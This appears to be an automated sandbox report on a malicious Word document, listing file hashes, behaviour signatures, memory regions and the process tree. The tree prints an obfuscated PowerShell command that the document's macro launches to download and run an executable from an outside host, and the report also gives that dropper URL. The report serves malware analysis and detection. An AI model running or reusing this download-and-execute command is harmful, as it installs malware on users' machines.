Analysis

  • max time kernel
    119s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10-04-2024 14:53

General

  • Target

    f1d1c93ba65f0593f2c5a26f8661ca3f42ae2331f5eb97911aac8f5dbf3d4011.doc

  • Size

    58KB

  • MD5

    616ef8b1c8e9258511905b37029d5a42

  • SHA1

    fa62e7df0cc1ece81ba2228cc22be01214cab2ab

  • SHA256

    f1d1c93ba65f0593f2c5a26f8661ca3f42ae2331f5eb97911aac8f5dbf3d4011

  • SHA512

    79bf89fa545325810831541d76cb5b9ae7695cd7ae9eefb108bf396d1f79c5437987aa41fa342e60b1390036ae6ba4d280c7d6946dfd9c33791d7da8f8e6396d

  • SSDEEP

    768:WPKiEo5D9iF7gWMsdMVkOf11cdqS1+ODtxz99oinZ:WdE8D9iF7gWMsdlO91cdqSpDt3

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://3237.site/test01.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f1d1c93ba65f0593f2c5a26f8661ca3f42ae2331f5eb97911aac8f5dbf3d4011.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1400
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2908
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Public\Documents\programtwo.cmd" "
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2576
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://3237.site/test01.e`xe -Destination C:\Users\Public\Documents\manlevel.e`xe;C:\Users\Public\Documents\manlevel.e`xe
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2356

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      eca5b7abc693716f2e21351e7eb914b6

      SHA1

      45fd2a95ad7821043f5393ee321f959705ef05a3

      SHA256

      15f8a6b5aad51fe85a5b3069b8597d3a4b02ec3af21aa04d1beb9ace7c1b7096

      SHA512

      1c46885a340baaf69e48e363889955a5b4216efda84a8845e94cb0b3cfb60e45077dad9704f0d67716bef0d3e163af3f21e9e72eb863b8b7266ac1859ab8a6f9

    • C:\Users\Public\Documents\programtwo.cmd
      Filesize

      185B

      MD5

      accc5f9fb1cd478b3649066e0868612d

      SHA1

      309c94e34869a7bc62ee53144f1a98290c53d76f

      SHA256

      93941817ada793281eaaa3dd6860d4d63a361ec15b13da7322ea4ed51e6eff6a

      SHA512

      0bf231c1b3d67473ea7faccdc20eee9e52ba29cd30882305fd43276a3f794e100e9c77eaf3d623df167c1c1713195085d78efce8234bcd0e4460cbd16eef2ed4

    • memory/1400-36-0x0000000070FDD000-0x0000000070FE8000-memory.dmp
      Filesize

      44KB

    • memory/1400-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1400-2-0x0000000070FDD000-0x0000000070FE8000-memory.dmp
      Filesize

      44KB

    • memory/1400-9-0x0000000000650000-0x0000000000750000-memory.dmp
      Filesize

      1024KB

    • memory/1400-52-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1400-0-0x000000002FA51000-0x000000002FA52000-memory.dmp
      Filesize

      4KB

    • memory/1400-37-0x0000000000650000-0x0000000000750000-memory.dmp
      Filesize

      1024KB

    • memory/2356-34-0x0000000002560000-0x00000000025A0000-memory.dmp
      Filesize

      256KB

    • memory/2356-35-0x000000006A930000-0x000000006AEDB000-memory.dmp
      Filesize

      5.7MB

    • memory/2356-32-0x000000006A930000-0x000000006AEDB000-memory.dmp
      Filesize

      5.7MB

    • memory/2356-33-0x0000000002560000-0x00000000025A0000-memory.dmp
      Filesize

      256KB

    • memory/2356-31-0x000000006A930000-0x000000006AEDB000-memory.dmp
      Filesize

      5.7MB